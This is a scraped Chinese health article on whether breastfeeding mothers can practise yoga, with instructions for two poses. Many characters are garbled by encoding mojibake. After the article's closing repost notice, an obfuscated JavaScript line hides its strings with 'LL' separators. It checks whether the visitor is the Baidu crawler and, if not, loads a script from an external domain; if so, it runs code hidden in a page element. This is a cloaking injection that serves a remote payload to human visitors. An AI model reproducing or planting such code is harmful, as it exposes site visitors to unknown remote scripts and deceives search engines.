當(dāng)前位置:首頁 > 健康 > 運(yùn)動健身 > 正文

喂奶期間可不可以練瑜伽

2017-04-16 13:31:45  來源:360常識網(wǎng)   熱度:
導(dǎo)語:好多年輕的媽媽在生完孩子后會感覺到自己的體形不好看的厲害,特別是在哺乳期的媽媽,一般都怕自己會因為生孩子后有肥胖影響身材的情況,所

好多年輕的媽媽在生完孩子后會感覺到自己的體形不好看的厲害,特別是在哺乳期的媽媽,一般都怕自己會因為生孩子后有肥胖影響身材的情況,所以好多哺乳期間的媽媽想進(jìn)行減肥的運(yùn)動,一般大部分選擇瑜珈,那么喂奶期間可以練瑜珈嗎?通過下面的介紹我們來進(jìn)行一下了解。

產(chǎn)后哺乳期可以做瑜伽的,一般出了滿月就可以做的,但是要注意要選擇運(yùn)動量小的,不要過大幅度的,哺乳期主要是不能用節(jié)食的方法來減肥,做一些適當(dāng)?shù)倪\(yùn)動是可以的。

一.蛇式變式。這個動作能夠使女性臀部恢復(fù)彈性,防止下垂,消除腰背部的脂肪。使臀、腰、背部的曲線得到塑造。做法:

1.俯臥,雙腿并攏,腳尖點(diǎn)地,雙手放于胸部兩側(cè),兩肘內(nèi)收。

2.隨吸氣,手臂用力,胸部離開地面。

3.雙肩下沉,臀部、后背保持收緊,目視前方。

4.緩慢抬起右腿,延展腳尖,保持膝關(guān)節(jié)伸直。

5.3~5次均勻呼吸,隨呼氣,右腳還原,換左腿。

二.單腿平衡伸展式。這個動作能夠加強(qiáng)下盤力量,改善腿部水腫,使下肢疲憊能夠得到消除,并且能夠消滅腰圍多余脂肪。做法:

1.左腳踩地,右腳腳跟向上立起,直到膝蓋觸地。

2.雙腿盡量打開,調(diào)整身體,保持盆骨朝向正前方。

3.脊背中正,隨吸氣手臂向頭頂上方合掌。

4.身體隨手臂的帶動向上延展,保持3~5次呼吸。

通過上述的介紹,我們現(xiàn)在知道了喂奶期間可以練瑜珈,只是在練習(xí)的時候不要動作太大,選擇一些動作輕柔的練習(xí),另外也不要有擠壓胸部的運(yùn)動,一般在練習(xí)瑜珈的時候最好在專業(yè)瑜珈教練的指導(dǎo)下進(jìn)行,這樣不會影響對孩子的喂奶。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}